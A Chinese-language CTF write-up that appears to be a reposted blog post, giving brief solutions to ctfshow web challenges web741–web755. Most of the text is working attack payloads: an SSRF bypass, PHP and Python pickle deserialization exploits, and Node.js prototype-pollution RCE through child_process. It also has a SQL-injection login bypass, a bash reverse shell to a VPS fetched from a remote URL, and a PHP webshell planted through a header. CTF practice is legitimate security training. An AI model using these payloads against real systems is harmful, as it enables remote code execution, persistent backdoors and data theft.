CTFSHOW大赛原题篇(web741-web755)

因为题目较多,所以很多地方写的比较简略,望师傅们谅解,祝大家变得更强!

web741

ssrf绕过
url=http://0.0.0.0:8080/flag

web742

web743

a[]=1&b[]=2&c[]=1&d[]=2

web744

<?php
class ctfshowCURL{
    
    
  private $url="file:///var/www/html/flag%2ephp";
  private $method="send";

}
echo urlencode(serialize(new ctfshowCURL()));

web745

function=file_get_contents&param%5B%5D=/flag.txt

纯属蒙的

web746

wp
https://hi120ki.github.io/blog/posts/20210531/
得先登录成功 (admin/admin)
payload

{"constructor/prototype/outputFunctionName": "a; return global.process.mainModule.constructor._load(\"child_process\").execSync(\"./readflag\"); //"}

然后访问一下主页就可以了

web747

data=`ls ../`
data=`<../flag.txt`

web748

图片名字叫pickle.jpg,很明显是提示和python的反序列化有关。
随便输入一个值,查看cookie可以发现有内容,估计就是序列化的内容。那我们直接传一段恶意反序列化串就好了。(题目好好像是不能直接用os,所以我们通过__import__将其导入)

import pickle
from base64 import b64encode as b64
import requests
class exp(object):
        def __reduce__(self):
            cmd = 'cat /app/flag.txt'
            return __import__('os').popen, (cmd,)

e = exp()
s = pickle.dumps(e)
payload = b64(s).decode()

url = 'http://850a66a1-dbc9-413f-8068-9c2136d911e6.challenge.ctf.show/'
r = requests.get(url, cookies={
    
    'contents': payload})
print(r.text)

web749

flat原型链污染+pug模板rce
当然这也是看了源码才知道的,怎么拿到的源码呢。。。
网上搜的。。。。
payload

//列目录
{"song.name":"ASTa la vista baby",
     "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync('ls > static/js/main.js')"
    }
}
//有个ctfshowxxxx文件
{"song.name":"ASTa la vista baby",
     "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync('cat xxx > static/js/main.js')"
    }
}

访问static/js/main.js拿到flag

web750

取反绕过就可以了

?formula=(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%d0%99%93%9e%98%d1%8b%87%8b)

web751

跟之前的web733差不多,只不过这个得先读下index.php,然后发现有个success.php flag就在里面。

<?php 

class access_log
{
    
    
	//public $log_file='index.php';
	public $log_file='success.php';

}
echo urlencode(base64_encode(serialize(new access_log())));

web752

具体源码看不到,尝试了很多万能密码,发现下面这种可行。
password=||'1&username=\

web753

本地搭建了一下源码,发现大致的作用如下:
会通过传入url地址下载网页内容
运行内容中的代码(作为linux命令)
代码报错的内容会被写到文件中

这样的话我们其实是可以执行任意命令的。
本来想的是执行ls > index.html之类的命令,然后去访问首页得到运行结果,但是发现得重新启动环境才能生效。
因为没有回显所以最好的方法就是反弹shell了。

script_dir=1&script_name=1&script_url=http://xxx/shell.txt&command_log_file=1

vps上的内容为

bash -i >& /dev/tcp/xxx/4567 0>&1

web754

利用之前web686的无参数rce过的
在这里插入图片描述

POST:
cmd=system(pos(getallheaders()))

X-Forwarded-For:
echo '<?php eval($_POST[1]);?>' > /var/www/html/b.php;

蚁剑连上后运行/readflag
然后会在/tmp下生成一个flag,读取即可。

web755

源码
https://github.com/farazsth98/CTF/tree/master/zer0ptsctf/guestfs_afr/challenge

payload
https://github.com/farazsth98/CTF/blob/master/zer0ptsctf/guestfs_afr/exploit.py

放弃了。。。。

猜你喜欢

转载自blog.csdn.net/miuzzx/article/details/123168939